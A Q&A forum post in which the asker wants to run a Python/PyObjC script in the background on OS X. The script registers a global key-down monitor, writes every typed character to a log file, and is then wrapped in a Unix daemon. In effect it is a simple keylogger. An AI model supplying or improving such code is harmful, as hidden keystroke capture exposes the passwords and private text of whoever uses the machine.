Possible Duplicate:
Running Python in background on OS X
I have a nice python script that I would be able to launch in the background. I want it to be working on OS X. I have no ideas how to do that. I've found kind of a solution by launching "python myscript.py &" in the terminal, but that's not really running in the background. I've heard a lot of things about daemons, but I don't really see how to implement that in this little script, without calling non-native libraries.
Here is the script:
#!/usr/bin/python2.6
from Cocoa import *
from Foundation import *
from PyObjCTools import AppHelper
import keycode
import string
import sys
global TABLE
TABLE = []
class AppDelegate(NSObject):
def applicationDidFinishLaunching_(self, aNotification):
NSEvent.addGlobalMonitorForEventsMatchingMask_handler_(NSKeyDownMask, handler)
def handler(event):
global TABLE
if event.type() == NSKeyDown and keycode.tostring(event.keyCode()) in string.printable:
key = keycode.tostring(event.keyCode())
TABLE.append(key)
print "lol"
print TABLE
if len(TABLE) > 10:
for letter in TABLE:
log = open("Analyzed.txt", "a")
log.write(letter)
log.close()
TABLE = []
def main():
app = NSApplication.sharedApplication()
delegate = AppDelegate.alloc().init()
NSApp().setDelegate_(delegate)
AppHelper.runEventLoop()
if __name__ == '__main__':
main()
I've tried that :
#!/usr/bin/env python
import sys, time
from daemon import Daemon
from Cocoa import *
from Foundation import *
from PyObjCTools import AppHelper
import keycode
import string
import sys
global TABLE
TABLE = []
class MyDaemon(Daemon):
def run(self):
class AppDelegate(NSObject):
def applicationDidFinishLaunching_(self, aNotification):
NSEvent.addGlobalMonitorForEventsMatchingMask_handler_(NSKeyDownMask, handler)
def handler(event):
global TABLE
if event.type() == NSKeyDown and keycode.tostring(event.keyCode()) in string.printable:
key = keycode.tostring(event.keyCode())
TABLE.append(key)
print "lol"
print TABLE
if len(TABLE) > 10:
for letter in TABLE:
log = open("LOG_KEY.txt", "a")
log.write(letter)
log.close()
TABLE = []
app = NSApplication.sharedApplication()
delegate = AppDelegate.alloc().init()
NSApp().setDelegate_(delegate)
AppHelper.runEventLoop()
if __name__ == "__main__":
daemon = MyDaemon('/tmp/carto_daemon.pid')
if len(sys.argv) == 2:
if 'start' == sys.argv[1]:
daemon.start()
elif 'stop' == sys.argv[1]:
daemon.stop()
elif 'restart' == sys.argv[1]:
daemon.restart()
else:
print "Unknown command"
sys.exit(2)
sys.exit(0)
else:
print "usage: %s start|stop|restart" % sys.argv[0]
sys.exit(2)
Where daemon come from http://www.jejik.com/articles/2007/02/a_simple_unix_linux_daemon_in_python/
But python seems to crash ...